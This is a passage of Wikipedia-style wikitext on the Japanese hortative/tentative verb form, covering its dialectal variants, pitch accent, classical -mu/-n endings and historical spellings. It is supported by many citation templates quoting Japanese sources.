ni――arui wa, mā, kandaisa ni――'''masattarō''' kara, kono issai wa '''okinakattarō'''. Niyatto warō beki na no ka zotto miburui su beki na no ka wakaranai, sonna dannen o omoitsuku koto mo '''nakattarō'''. Sono katei de wa, kare no ren'ai ga do Bararu no fukō na musume ni somosomo '''musubitsukanakattarō''' to yū no mono shin da.}}
|-
| I told you not to be rough with them.{{efn|"Didn't I tell you?," "I told you, didn't I?," "I thought I told you," etc.}} You are far from being their equal.
| {{#invoke:Nihongo|nihongo||手荒な真似はするなと'''言ったろう''' お前たちが対等に接していい相手ではないぞ<ref>{{#invoke:cite|av media|lang=ja|url=https://www.youtube.com/watch?v=tl6RisJQj7U|script-title=ja:#75 帰りたい {{pipe}} 超人的シェアハウスストーリー『カリスマ』|trans-title=[[Chōjin-teki Share House Story Charisma|#75 I Want to Go Home {{pipe}} Superhuman Share House Story "Charisma"]]|publisher={{#invoke:lang|lang|ja|カリスマ}} Official Channel|work=YouTube|date=6 April 2023|first=Shū|last=Matsubara}}</ref>|Teara na mane wa suru na to '''itta 'rō''' Omaetachi ga taitō ni sesshite ii aite de wa nai zo}}
|}
=== Hortative: Conjugation table ===
The so‑called "hortative form" is actually a combination of the ''mizenkei'' and the auxiliary {{#invoke:lang|lang|ja|う}}, which underwent systemic historical sound changes that affected all the examples below. These sound changes motivated the term ''godan'' ("five grade"), which replaced ''yodan'' ("four grade") (see {{section link|Japanese godan and ichidan verbs|Godan vs yodan}}). For non‑''godan'' verbs, during the final stage as shown in the table below, the vowels of the original ''mizenkei'', ''i'', ''e'' and ''o'',{{sfnp|Frellesvig|2010|p=390–391}} were reintroduced in some dialects, especially eastern ones, which yielded the suffix ''‑yō'', as in ''iyō'', ''eyō'' and ''koyō''. Other dialects, especially western ones, did not undergo this development.<ref name=ninjal-okiyoo>{{#invoke:cite|journal|script-journal=ja:方言文法全国地図PDF版ダウンロード|script-title=ja:起きよう|lang=ja|url=https://www2.ninjal.ac.jp/hogen/dp/gaj-pdf/gaj-map-legend/vol3/GAJ3-106.pdf|publisher=National Institute for Japanese Language and Linguistics|date=February 2021}}</ref><ref name=ninjal-akeyoo>{{#invoke:cite|journal|script-journal=ja:方言文法全国地図PDF版ダウンロード|script-title=ja:開けよう|lang=ja|url=https://www2.ninjal.ac.jp/hogen/dp/gaj-pdf/gaj-map-legend/vol3/GAJ3-107.pdf|publisher=National Institute for Japanese Language and Linguistics|date=February 2021}}</ref><ref name=ninjal-neyoo>{{#invoke:cite|journal|script-journal=ja:方言文法全国地図PDF版ダウンロード|script-title=ja:寝よう|lang=ja|url=https://www2.ninjal.ac.jp/hogen/dp/gaj-pdf/gaj-map-legend/vol3/GAJ3-108.pdf|publisher=National Institute for Japanese Language and Linguistics|date=February 2021}}</ref><ref name=ninjal-koyoo>{{#invoke:cite|journal|script-journal=ja:方言文法全国地図PDF版ダウンロード|script-title=ja:来よう|lang=ja|url=https://www2.ninjal.ac.jp/hogen/dp/gaj-pdf/gaj-map-legend/vol3/GAJ3-110.pdf|publisher=National Institute for Japanese Language and Linguistics|date=February 2021}}</ref> Verbs with the vowel ''i'' in their stems may retain the forms ending in ''‑yū'' (← ''‑iu'') in some dialects, hence ''okyu(u)''; or gained the normalized ''‑yō'' in other dialects, hence ''okiyo(o)'', ''o(k)kyo(o)''.<ref name=ninjal-okiyoo/>{{sfnp|Ministry of Education, Science, Sports and Culture|1935a|pp=105–106}} Yet other dialects have ''iro(o)'', ''ero(o)'' and ''koro(o)''. For ''suru'' in particular, the eastern vowel ''i'' is used rather than the western ''e'', hence ''shiyō'' rather than ''seyō'', the latter of which is found in some [[Chūbu region|Chūbu]] dialects.<ref name=ninjal-shiyoo>{{#invoke:cite|journal|script-journal=ja:方言文法全国地図PDF版ダウンロード|script-title=ja:しよう|lang=ja|url=https://www2.ninjal.ac.jp/hogen/dp/gaj-pdf/gaj-map-legend/vol3/GAJ3-111.pdf|publisher=National Institute for Japanese Language and Linguistics|date=February 2021}}</ref> The distributions of forms where the original ''mizenkei'' vowels were fused with ''u'' (''okyū/okyō'', ''akyō'', ''nyō'', ''kō'', ''shō'') and forms where the vowels were added back in (''ok'''i'''yō'', ''ak'''e'''yō'', ''n'''e'''yō'', ''k'''o'''yō'', ''sh'''i'''yō/s'''e'''yō'') are uneven among western dialects, where ''ichidan''‑based forms with fused vowels are less widespread; notably, in Kyoto and Osaka Prefectures, the former capitals with historically prestigious dialects, the fused forms ''kō'' and ''shō'' are used for the irregular verbs, while the forms with the original vowels are used for ''ichidan'' verbs.<ref name=ninjal-okiyoo/><ref name=ninjal-akeyoo/><ref name=ninjal-neyoo/><ref name=ninjal-koyoo/><ref name=ninjal-shiyoo/>{{sfnp|Ministry of Education, Science, Sports and Culture|1935a|pp=105–106, 109–110, 115–118}} Compare the three hortatives, only the first of which is distinctly western, in the following example: {{#invoke:nihongo|nihongo||教えられるだけでなく、ちゃんと自分で'''勉強しょう'''。自分で自分の人生を'''変えよう'''、'''頑張ろう'''、と自分に鞭を打った。|Oshierareru dake de naku, chan to jibun de '''benkyō shō'''. Jibun de jibun no jinsei o '''kaeyō''', '''ganbarō''', to jibun ni muchi o utta.|{{xlat|I whipped myself into studying properly, not just being taught; and changing my life on my own and doing my best.}}}}<ref>{{#invoke:cite|journal|lang=ja|last=Masuda|first=Tatsuyoshi|script-title=ja:お仕事小説|title=Short Stories of Working|script-journal=ja:北星学園大学文学部北星論集|journal=Hokusei Review, the School of Humanities|volume=60|number=1|date=30 September 2022|p=74|issn=0289-338X|publisher=Hokusei Gakuen University|url=https://hokusei.repo.nii.ac.jp/record/2603/files/07_%E5%A2%97%E7%94%B0%E8%BE%B0%E8%89%AF%E5%85%88%E7%94%9F%E2%91%A1.pdf}}</ref>
For ''‑masu'' and ''desu'', the unique shapes of ''‑mashō'' and ''deshō'', as well as of the [[#Negative|negative]] ''‑masen'', suggest their provenance in western polite speech.{{sfnp|Ministry of Education, Science, Sports and Culture|1935a|p=283}} While ''‑masen'' undoubtedly has eastern counterparts, ''‑mashinai''/''‑mashinē'' (albeit uncommon, archaic and stereotypical), {{#invoke:nihongo|nihongo||ましょう|‑mashō}} and {{#invoke:nihongo|nihongo||でしょう|deshō}} do not seem to have any,{{sfnp|Yamaguchi|2001|pp=508–509}}{{sfnp|Suzuki|2001|pp=745–747}}{{sfnp|Kubota|2001|p=747}} in spite of such historical spellings as {{#invoke:lang|lang|ja|ましよう}} and {{#invoke:lang|lang|ja|でしよう}}, which appear to be pronounced *''‑mashiyō'' and *''deshiyō'', but were rather variant spellings of {{#invoke:nihongo|nihongo_krt||ませう|‑mashō}} and {{#invoke:nihongo|nihongo_krt||でせう|deshō}},<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:なお、助動詞などにも、「だらう」が「だろう」、「でせう」が「でしょう」、「ませう」が「ましよう」となる類もあるが、これらは、さしたる變化ではない。|trans-quote=In addition, there are some auxiliary verbs up for change, such as {{#invoke:lang|lang|ja|「だらう」}} to {{#invoke:lang|lang|ja|「だろう」}}, {{#invoke:lang|lang|ja|「でせう」}} to {{#invoke:lang|lang|ja|「でしよう」}}, {{#invoke:lang|lang|ja|「ませう」}} to {{#invoke:lang|lang|ja|「ましよう」}}, etc, although these changes are not significant.|page=205|script-chapter=ja:第七章 「現代かなづかい」|trans-chapter=Chapter 7: "[[Modern Kana Usage]]"|url=https://dl.ndl.go.jp/pid/1126336/1/108|date=5 February 1948|script-title=ja:國語國字問題を說く|trans-title=On the Issues with the National Language and Script|first=Masatsugu|last=Andō|publisher=Ōsaka Kyōiku Tosho|location=Higashi, Osaka}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:二、'''せう'''を'''しよう'''と書くもの<br>いきま'''しよう'''(行きませう) '''しよう'''ねん(<ruby>少<rp>(</rp><rt>セウ</rt><rp>)</rp></ruby>年) '''しよう'''そく(<ruby>消<rp>(</rp><rt>セウ</rt><rp>)</rp></ruby>息)等<br>三、'''せふ'''を'''しよう'''と書くもの<br>こう'''しよう'''(交<ruby>渉<rp>(</rp><rt>セフ</rt><rp>)</rp></ruby>)等|trans-quote=2, {{#invoke:lang|lang|ja|'''せう'''}} is written as {{#invoke:lang|lang|ja|'''しよう'''}}:<br>{{#invoke:lang|lang|ja|いきま'''しよう'''(行きませう)}}, {{#invoke:lang|lang|ja|'''しよう'''ねん(<ruby>少<rp>(</rp><rt>セウ</rt><rp>)</rp></ruby>年)}}, {{#invoke:lang|lang|ja|'''しよう'''そく(<ruby>消<rp>(</rp><rt>セウ</rt><rp>)</rp></ruby>息)}}, etc.<br>3, {{#invoke:lang|lang|ja|'''せふ'''}} is written as {{#invoke:lang|lang|ja|'''しよう'''}}:<br>{{#invoke:lang|lang|ja|こう'''しよう'''(交<ruby>渉<rp>(</rp><rt>セフ</rt><rp>)</rp></ruby>)}}, etc.|url=https://dl.ndl.go.jp/pid/1169075/1/86|page=165|script-chapter=ja:現代かなづかい|trans-chapter=[[Modern Kana Usage]]|script-title=ja:育英版・最新兒童年鑑|trans-title=Ikuei Edition: The Latest Children's Yearbook|date=5 February 1950|editor={{#invoke:lang|lang|ja|小学新敎育研究会}}|publisher=Ikuei Shuppan|location=[[Taitō]], Tokyo; Higashi, Osaka}}</ref> and in some older publications these spellings were inconsistently interchangeable.<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:夜が 明けかゝると、その 松の 木の 下に、いつものように その 子は 來て いました。<br>いつたい、いつ、どこから この 子は やつて 來るのでしよう。夜は どこで 寢て いるの でしよう。それよりも、いつたい この子は なにを 食べて くらして いるの でせう。|page=23|url=https://dl.ndl.go.jp/pid/1169911/1/15|script-chapter=ja:浦島の 夢|script-title=ja:渡り鳥|series={{#invoke:lang|lang|ja|少年少女文化読物集}}|first=Sōji|last=Momota|publisher={{#invoke:lang|lang|ja|大興社}}|date=15 October 1948|location=[[Nakano, Tokyo]]}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:『えゝ、何の話もないんですから、まだ來ないのでしよう。きつと僕がいなくなつて、お魚を取るのに、大變いそがしくなつたためでせう。』|page=62|url=https://dl.ndl.go.jp/pid/1168017/1/37|script-chapter=ja:'''八''' 先生と敎え子|script-title=ja:<ruby>火<rp>(</rp><rt>か</rt><rp>)</rp></ruby><ruby>星<rp>(</rp><rt>せい</rt><rp>)</rp></ruby><ruby>魔<rp>(</rp><rt>ま</rt><rp>)</rp></ruby>|authorlink=Unno Jūza|last=Unno|first=Jūza|date=1 February 1950|edition=5th|publisher=Koshi Shobō|location=[[Chiyoda, Tokyo]]}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:素質もむろんありましよう。だが、生れつきの强健だけでは多くの場合攝生には勝てません。後者を主とみるのが多分当つていませう。|page=44|script-chapter=ja:八、軽信独断のおそれ|url=https://dl.ndl.go.jp/pid/1169454/1/28|script-title=ja:私たちの実践科学|first=Kiyoshi|last=Tomitsuka|publisher=Social Education Society|date=10 June 1950|location=[[Suginami]], Tokyo}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:'''A老''' それを家庭に入れてみてどうかということですね。駄目でせう。<br>[…]<br>'''E夫人''' 倦怠期なんかの時に自分の夫が橫道にそれた場合に、ある程度默認して、抑えつけてやめさせるということがいいでしようか。<br>[…]<br>'''A老''' あとはその場その場でね、また何にか良い知慧がありましよう(笑聲)<br>'''E社主''' 道樂の問題はなかなか解決しないでしようね。|pages=72–73|url=https://dl.ndl.go.jp/pid/3049016/1/43|script-chapter=ja:道樂について|script-title=ja:男女問答|first=Yutaka|last=Tatsuno|publisher={{#invoke:lang|lang|ja|要書房}}|date=25 August 1950|location=[[Bunkyō]], Tokyo}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:"''Can'' I go?" Maria asked. "''May'' I go too, Pilar?"—Ernest Hemingway (「私も行かれませうか,行つてもよいでしようか」とマリアは訊ねた).|url=https://dl.ndl.go.jp/pid/2462379/1/27|page=38|chapter=Can I come in?|script-title=ja:語法雜記|trans-title=Miscellaneous Notes on Phraseology|date=20 March 1953|last=Uemoto|first=Saichi|publisher=Kenkyūsha Shuppan}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:まき ア、もし、またぐちな事おつしやりまする。<ruby>其<rp>(</rp><rt>その</rt><rp>)</rp></ruby>やふなお心を、お<ruby>出<rp>(</rp><rt>だし</rt><rp>)</rp></ruby><ruby>被成<rp>(</rp><rt>なされ</rt><rp>)</rp></ruby>ては、あのお子さまのお爲には<ruby>成<rp>(</rp><rt>なり</rt><rp>)</rp></ruby>ませぬほどに、いつものよふに、<ruby>御<rp>(</rp><rt>ご</rt><rp>)</rp></ruby>ゑかう〔囘向〕被成てお上げ<ruby>被成<rp>(</rp><rt>なされ</rt><rp>)</rp></ruby>ませ。<ruby>私<rp>(</rp><rt>わたくし</rt><rp>)</rp></ruby>はおやしよくの、おめしごしらへいたしませう。<br>[…]<br>まき まゝ<ruby>有<rp>(</rp><rt>ある</rt><rp>)</rp></ruby>ものでござりまする。おまへさまはその御守り、御覽の<ruby>度<rp>(</rp><rt>たび</rt><rp>)</rp></ruby>に物思ひ。そりや、かういたしましよう。<ruby>私<rp>(</rp><rt>わたくし</rt><rp>)</rp></ruby>が<ruby>明日<rp>(</rp><rt>あした</rt><rp>)</rp></ruby>そう〱、<ruby>靈<rp>(</rp><rt>れい</rt><rp>)</rp></ruby><ruby>岸<rp>(</rp><rt>がん</rt><rp>)</rp></ruby>さまへぢさん〔持參〕いたして、お<ruby>納<rp>(</rp><rt>おさめし</rt><rp>)</rp></ruby>て參りませうわいなア。<br>[…]<br>まき さやういたしましよう。ばんほどそう〱、御參り<ruby>申<rp>(</rp><rt>もうし</rt><rp>)</rp></ruby>て<ruby>參<rp>(</rp><rt>まいり</rt><rp>)</rp></ruby>ましよう。|pages=148–149|script-chapter=ja:三幕目 <ruby>砂<rp>(</rp><rt>すな</rt><rp>)</rp></ruby><ruby>村<rp>(</rp><rt>むら</rt><rp>)</rp></ruby><ruby>隱<rp>(</rp><rt>おん</rt><rp>)</rp></ruby><ruby>亡<rp>(</rp><rt>ぼう</rt><rp>)</rp></ruby><ruby>堀<rp>(</rp><rt>ぼり</rt><rp>)</rp></ruby>の場|url=https://dl.ndl.go.jp/pid/1355486/1/77|script-title=ja:東海道四谷怪談|series={{#invoke:lang|lang|ja|岩波文庫}}|last=Tsuruya|first=Nanboku|editor-first=Shigetoshi|editor-last=Kawatake|publisher=Iwanami Shoten|date=25 August 1956|location=[[Chiyoda, Tokyo]]}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:「そんならいゝけれど今日の餌は何、佃煮、これは高いでせう、食べられるのに勿体ないでしょう」|url=https://dl.ndl.go.jp/pid/2421849/1/143|page=271|script-chapter=ja:四四 蠅取の硏究|script-title=ja:やさしい生活の科学(ラジオ放送)|volume=1|date=15 March 1957|last=Sakurai|first=Buhei|publisher={{#invoke:lang|lang|ja|関書院}}|location=[[Higashiyama-ku, Kyoto|Higashiyama, Kyoto]]}}</ref> In contrast, ''suru'', ''‑masu''{{'}}s conjugational relative,{{sfnp|Kubota|2001|p=747}} has both western and eastern forms, as in ''sen''/''shinai''/''shinē'', and ''shō''/''shiyō''.
Due to the said historical sound changes, all hortative/tentative forms contain the long vowel ''ō'', but it is susceptible to shortening into an ''o'' in speech, especially in dialects.{{sfnp|Martin|2004|p=605}} In ''ichidan'' verbs, shortening results in the hortative/tentative and the imperative sharing the same [[Segment (linguistics)|segments]] (consonants and vowels), although they can still be distinguished by [[Japanese pitch accent|accent]].{{sfnp|Ministry of Education, Science, Sports and Culture|1935a|p=106}} All hortatives and tentatives are currently accentuated on the start of the ''ō'', as in {{#invoke:nihongo|nihongo||呼ぼう|yobō|{{IPA|[jòbó(ò)]}}}}, {{#invoke:nihongo|nihongo||呼びましょう|yobimashō|{{IPA|[jòbímáɕó(ò)]}}}}, {{#invoke:nihongo|nihongo||呼んだろう|yondarō|{{IPA|[jòńdáɾó(ò)]}}}}, {{#invoke:nihongo|nihongo||呼ばなかろう|yobanakarō|{{IPA|[jòbánákáɾó(ò)]}}}}, etc. Thus the hortative ''ichidan'' {{#invoke:nihongo|nihongo||起きよう|okiyō|{{IPA|[òkíjó(ò)]}}}}, {{#invoke:nihongo|nihongo||開けよう|akeyō|{{IPA|[àkéjó(ò)]}}}} are accentually distinct from the imperative ''ichidan'' {{#invoke:nihongo|nihongo||起きよ|okiyo|{{IPA|[ókìjò]}}}}, {{#invoke:nihongo|nihongo||開けよ|akeyo|{{IPA|[àkéjò]}}}}.<ref name=shinmeikai>{{#invoke:cite|book|script-title=ja:新明解日本語アクセント辞典|edition=2nd|editor-last=Kindaichi|editor-first=Haruhiko|editor-link=Haruhiko Kindaichi|editor-last2=Akinaga|editor-first2=Kazue|publisher=[[Sanseidō]]|date=10 March 2025|lang=ja}}</ref> On the other hand, since all hortatives are accentuated on the ''ō'', ambiguity among themselves can arise, for example in {{#invoke:nihongo|nihongo||買おう|kaō|{{gloss|let's buy}}, {{IPA|[kàóò]}}, historically unaccentuated as {{IPA|[kàóó]}}}} and {{#invoke:nihongo|nihongo||飼おう|kaō|{{gloss|let's rear}}, {{IPA|[kàóò]}}}}.{{sfnp|Martin|2004|p=610}} The western hortative ''kō'' ("let's come") also resembles the eastern [[Japanese conjugation#Imperative|imperative]] ''kō'' ("come!").
The common form of the hortative/tentative ends in {{#invoke:lang|lang|ja|う}}, but occasionally a [[Classical Japanese|classical]] (thus more elevated) alternative ending in {{#invoke:lang|lang|ja|む}} or {{#invoke:lang|lang|ja|ん}} turns up in modern writing, for example in {{#invoke:nihongo|nihongo||我々はその先駆者'''たらんとする'''意気込みで遣るつもりなんです|Wareware wa sono no senkusha '''taran to suru''' ikigomi de yaru tsumori na n desu|{{xlat|We intend to work with the ambition to become the pioneers in that}}}}.{{sfnp|Martin|2004|p=613–614}}{{efn|''Taran'' is equivalent to ''taru darō'', and ''taru'' is equivalent to the unfused classical ''to aru'' (see {{section link|Japanese conjugation|Copulae: Conjugation table}}).}} Both {{#invoke:lang|lang|ja|う}} and {{#invoke:lang|lang|ja|ん}} derive from the earlier {{#invoke:lang|lang|ja|む}}, but through different mechanisms: {{#invoke:lang|lang|ja|う}} is from the loss of a consonant in {{#invoke:lang|lang|ja|む}}, {{IPA|/mu → ũ → u/}}; while {{#invoke:lang|lang|ja|ん}} is from the loss of a vowel, {{IPA|/mu → N/}}.{{sfnp|Yamaguchi|2001|pp=63, 822}}{{sfnp|Akimoto|2001|pp=822–823, 871}} Since {{#invoke:lang|lang|ja|ん}} also happens to represent the western [[#Negative|negative]] ''‑n'' and the nominalizing particle ''no'', the spelling {{#invoke:nihongo|nihongo||行かん|ikan}} represents either {{#invoke:nihongo|nihongo||行かぬ|ikanu|{{gloss|not go}}}} or {{#invoke:nihongo|nihongo||行かむ|ikamu|{{gloss|let's go}}}}, and {{#invoke:nihongo|nihongo||死なん|shinan}} represents not only {{#invoke:nihongo|nihongo||死なぬ|shinanu|{{gloss|not die}}}} or {{#invoke:nihongo|nihongo||死なむ|shinamu|{{gloss|let's die}}}} but also the noun phrase {{#invoke:nihongo|nihongo||死なの|shi na no|{{gloss|it's that it's death}}}}, the last of which contains the [[Sino-Japanese vocabulary|Sino‑Japanese]] noun {{#invoke:nihongo|nihongo||死|shi|{{gloss|death}}}}. Accentually, verbs whose dictionary forms are accentless can be distinguished, as in {{ipa|[ikaɴ]}} for "not go" and {{ipa|[ikáɴ]}} for "let's go"; but verbs whose dictionary forms are accented are ambiguous and context‑dependent, as in {{ipa|[kakáɴ]}} ({{#invoke:nihongo|nihongo||書かん|kakan}}) for both "not write" and "let's write."<ref name=shinmeikai/> It is possible to keep the hortative and negative distinct in writing respectively as {{#invoke:nihongo|nihongo||ん|‑n}} and {{#invoke:nihongo|nihongo||ぬ|‑nu}}, for example in {{#invoke:Nihongo|nihongo||が、成功の機械を'''捉へん'''には、彼はまた啻に冷靜にその智覺を働かすばかりでなく、それ〲適當な時機に於て隨分と大膽に、他人の容貌を讀破'''せねばいけぬ'''のである。<ref name=hirata-1918>{{#invoke:cite|book|lang=ja|script-quote=ja:<ruby>暫時<rp>(</rp><rt>しばらく</rt><rp>)</rp></ruby><ruby>高<rp>(</rp><rt>たか</rt><rp>)</rp></ruby>くその<ruby>上<rp>(</rp><rt>うへ</rt><rp>)</rp></ruby>に<ruby>飛<rp>(</rp><rt>ひ</rt><rp>)</rp></ruby><ruby>揚<rp>(</rp><rt>やう</rt><rp>)</rp></ruby>して、ぢつとその<ruby>觀<rp>(</rp><rt>くわん</rt><rp>)</rp></ruby><ruby>察<rp>(</rp><rt>さつ</rt><rp>)</rp></ruby>を<ruby>擅<rp>(</rp><rt>ほしいま</rt><rp>)</rp></ruby>まにし、<ruby>靜<rp>(</rp><rt>しづ</rt><rp>)</rp></ruby>かに<ruby>見<rp>(</rp><rt>み</rt><rp>)</rp></ruby><ruby>渡<rp>(</rp><rt>わた</rt><rp>)</rp></ruby>し、<ruby>物<rp>(</rp><rt>もの</rt><rp>)</rp></ruby><ruby>皆<rp>(</rp><rt>みな</rt><rp>)</rp></ruby><ruby>悉<rp>(</rp><rt>こと〲</rt><rp>)</rp></ruby>く<ruby>我<rp>(</rp><rt>わ</rt><rp>)</rp></ruby>が<ruby>眼<rp>(</rp><rt>め</rt><rp>)</rp></ruby>の<ruby>中<rp>(</rp><rt>うち</rt><rp>)</rp></ruby>に<ruby>收<rp>(</rp><rt>をさ</rt><rp>)</rp></ruby>めようといふ<ruby>人<rp>(</rp><rt>ひと</rt><rp>)</rp></ruby>こそ、<ruby>秘<rp>(</rp><rt>ひ</rt><rp>)</rp></ruby><ruby>密<rp>(</rp><rt>みつ</rt><rp>)</rp></ruby>の<ruby>事<rp>(</rp><rt>じ</rt><rp>)</rp></ruby><ruby>物<rp>(</rp><rt>ぶつ</rt><rp>)</rp></ruby>をして、よくその<ruby>輕<rp>(</rp><rt>けい</rt><rp>)</rp></ruby><ruby>重<rp>(</rp><rt>ぢう</rt><rp>)</rp></ruby>を<ruby>量<rp>(</rp><rt>はか</rt><rp>)</rp></ruby>つて<ruby>頭<rp>(</rp><rt>づ</rt><rp>)</rp></ruby><ruby>腦<rp>(</rp><rt>なう</rt><rp>)</rp></ruby>に<ruby>吿<rp>(</rp><rt>つ</rt><rp>)</rp></ruby>げしむるやうになす、<ruby>數多<rp>(</rp><rt>あまた</rt><rp>)</rp></ruby>の<ruby>材<rp>(</rp><rt>ざい</rt><rp>)</rp></ruby><ruby>料<rp>(</rp><rt>れう</rt><rp>)</rp></ruby>を<ruby>蒐<rp>(</rp><rt>しう</rt><rp>)</rp></ruby><ruby>集<rp>(</rp><rt>しふ</rt><rp>)</rp></ruby>するのである。<ruby>確<rp>(</rp><rt>たし</rt><rp>)</rp></ruby>かに<ruby>手<rp>(</rp><rt>て</rt><rp>)</rp></ruby><ruby>掛<rp>(</rp><rt>がゝり</rt><rp>)</rp></ruby>を<ruby>得<rp>(</rp><rt>え</rt><rp>)</rp></ruby>るか、<ruby>全<rp>(</rp><rt>ぜん</rt><rp>)</rp></ruby><ruby>然<rp>(</rp><rt>〱</rt><rp>)</rp></ruby><ruby>左<rp>(</rp><rt>さ</rt><rp>)</rp></ruby><ruby>樣<rp>(</rp><rt>う</rt><rp>)</rp></ruby>したものを<ruby>手<rp>(</rp><rt>て</rt><rp>)</rp></ruby>にせぬか<ruby>二<rp>(</rp><rt>ふた</rt><rp>)</rp></ruby>つ<ruby>一<rp>(</rp><rt>ひと</rt><rp>)</rp></ruby>つである、<ruby>多<rp>(</rp><rt>おほ</rt><rp>)</rp></ruby>くは<ruby>何<rp>(</rp><rt>なに</rt><rp>)</rp></ruby>をも<ruby>得<rp>(</rp><rt>え</rt><rp>)</rp></ruby>られぬが<ruby>普<rp>(</rp><rt>ふ</rt><rp>)</rp></ruby><ruby>通<rp>(</rp><rt>つう</rt><rp>)</rp></ruby>である、が、<ruby>彼<rp>(</rp><rt>かれ</rt><rp>)</rp></ruby>はそれに<ruby>依<rp>(</rp><rt>よ</rt><rp>)</rp></ruby>つて<ruby>我<rp>(</rp><rt>わ</rt><rp>)</rp></ruby>が<ruby>巧<rp>(</rp><rt>たく</rt><rp>)</rp></ruby><ruby>緻<rp>(</rp><rt>み</rt><rp>)</rp></ruby>の<ruby>足<rp>(</rp><rt>あし</rt><rp>)</rp></ruby><ruby>手<rp>(</rp><rt>て</rt><rp>)</rp></ruby><ruby>纏<rp>(</rp><rt>まと</rt><rp>)</rp></ruby>ひのうちに<ruby>捕<rp>(</rp><rt>とら</rt><rp>)</rp></ruby>はれずに<ruby>濟<rp>(</rp><rt>す</rt><rp>)</rp></ruby>む、<ruby>推<rp>(</rp><rt>すゐ</rt><rp>)</rp></ruby><ruby>察<rp>(</rp><rt>さつ</rt><rp>)</rp></ruby><ruby>者<rp>(</rp><rt>しや</rt><rp>)</rp></ruby>、<ruby>若<rp>(</rp><rt>も</rt><rp>)</rp></ruby>しくは<ruby>打<rp>(</rp><rt>だ</rt><rp>)</rp></ruby><ruby>算<rp>(</rp><rt>さん</rt><rp>)</rp></ruby><ruby>者<rp>(</rp><rt>しや</rt><rp>)</rp></ruby>よりは、ずつとその<ruby>謎語<rp>(</rp><rt>なぞ</rt><rp>)</rp></ruby>に<ruby>近<rp>(</rp><rt>ちか</rt><rp>)</rp></ruby>づける、して、<ruby>彼<rp>(</rp><rt>かれ</rt><rp>)</rp></ruby><ruby>等<rp>(</rp><rt>ら</rt><rp>)</rp></ruby>の<ruby>失<rp>(</rp><rt>うしな</rt><rp>)</rp></ruby>つてゐる<ruby>廣<rp>(</rp><rt>くわう</rt><rp>)</rp></ruby><ruby>濶<rp>(</rp><rt>くわつ</rt><rp>)</rp></ruby>な<ruby>眼<rp>(</rp><rt>がん</rt><rp>)</rp></ruby><ruby>界<rp>(</rp><rt>かい</rt><rp>)</rp></ruby>を<ruby>立<rp>(</rp><rt>りつ</rt><rp>)</rp></ruby><ruby>派<rp>(</rp><rt>ぱ</rt><rp>)</rp></ruby>に<ruby>保<rp>(</rp><rt>ほ</rt><rp>)</rp></ruby><ruby>持<rp>(</rp><rt>ぢ</rt><rp>)</rp></ruby>していかれるのである。が、<ruby>成<rp>(</rp><rt>せい</rt><rp>)</rp></ruby><ruby>功<rp>(</rp><rt>こう</rt><rp>)</rp></ruby>の<ruby>機<rp>(</rp><rt>き</rt><rp>)</rp></ruby><ruby>械<rp>(</rp><rt>くわい</rt><rp>)</rp></ruby>を<ruby>捉<rp>(</rp><rt>とら</rt><rp>)</rp></ruby>へんには、<ruby>彼<rp>(</rp><rt>かれ</rt><rp>)</rp></ruby>はまた<ruby>啻<rp>(</rp><rt>たゞ</rt><rp>)</rp></ruby>に<ruby>冷靜<rp>(</rp><rt>しづか</rt><rp>)</rp></ruby>にその<ruby>智<rp>(</rp><rt>ち</rt><rp>)</rp></ruby><ruby>覺<rp>(</rp><rt>かく</rt><rp>)</rp></ruby>を<ruby>働<rp>(</rp><rt>うご</rt><rp>)</rp></ruby>かすばかりでなく、それ〲<ruby>適<rp>(</rp><rt>てき</rt><rp>)</rp></ruby><ruby>當<rp>(</rp><rt>たう</rt><rp>)</rp></ruby>な<ruby>時<rp>(</rp><rt>じ</rt><rp>)</rp></ruby><ruby>機<rp>(</rp><rt>き</rt><rp>)</rp></ruby>に<ruby>於<rp>(</rp><rt>おい</rt><rp>)</rp></ruby>て<ruby>隨<rp>(</rp><rt>ずゐ</rt><rp>)</rp></ruby><ruby>分<rp>(</rp><rt>ぶん</rt><rp>)</rp></ruby>と<ruby>大<rp>(</rp><rt>だい</rt><rp>)</rp></ruby><ruby>膽<rp>(</rp><rt>たん</rt><rp>)</rp></ruby>に、<ruby>他人<rp>(</rp><rt>ひと</rt><rp>)</rp></ruby>の<ruby>容<rp>(</rp><rt>よう</rt><rp>)</rp></ruby><ruby>貌<rp>(</rp><rt>す</rt><rp>)</rp></ruby>を<ruby>讀<rp>(</rp><rt>どく</rt><rp>)</rp></ruby><ruby>破<rp>(</rp><rt>は</rt><rp>)</rp></ruby>せねばいけぬのである。|script-chapter=ja:'''<ruby>第<rp>(</rp><rt>だい</rt><rp>)</rp></ruby>四十二<ruby>章<rp>(</rp><rt>しやう</rt><rp>)</rp></ruby>''' <small>覺りの早き人の透視術</small>|pp=332–333|url=https://dl.ndl.go.jp/pid/953545/1/171|script-title=ja:<ruby>我意の人<rp>(</rp><rt>エゴイスト</rt><rp>)</rp></ruby>|authorlink=George Meredith|first=George|last=Meredith|translator-first=Tokuboku|translator-last=Hirata|date=15 June 1918|publisher={{#invoke:lang|lang|ja|國民文庫刊行會}}|volume=3|location=[[Kanda, Tokyo]]|title=The Egoist: A Comedy in Narrative|chapter=Chapter XLII. Shows the Divining Arts of a Perceptive Mind|quote=He who can watch circling above it awhile, quietly viewing, and collecting in his eye, gathers matter that makes the secret thing discourse to the brain by weight and balance; he will get either the right clue or none; more frequently none; but he will escape the entanglement of his own cleverness, he will always be nearer to the enigma than the guesser or the calculator, and he will retain a breadth of vision forfeited by them. He must, however, to have his chance of success, be acutely besides calmly perceptive, a reader of features, audacious at the proper moment.}}</ref>|Ga, seikō no kikai o '''toraen''' ni wa, kare wa mata tada ni shizuka ni sono chikaku o ugokasu bakari de naku, sorezore tekitō na jiki ni oite zuibun to daitan ni, hito no yōsu o dokuha '''seneba ikenu''' no de aru.|{{gloss|He must, however, to have his chance of success, be acutely besides calmly perceptive, a reader of features, audacious at the proper moment.}}}}; or alternatively, by using {{#invoke:nihongo|nihongo||ない|‑nai}} for the negative instead, as in 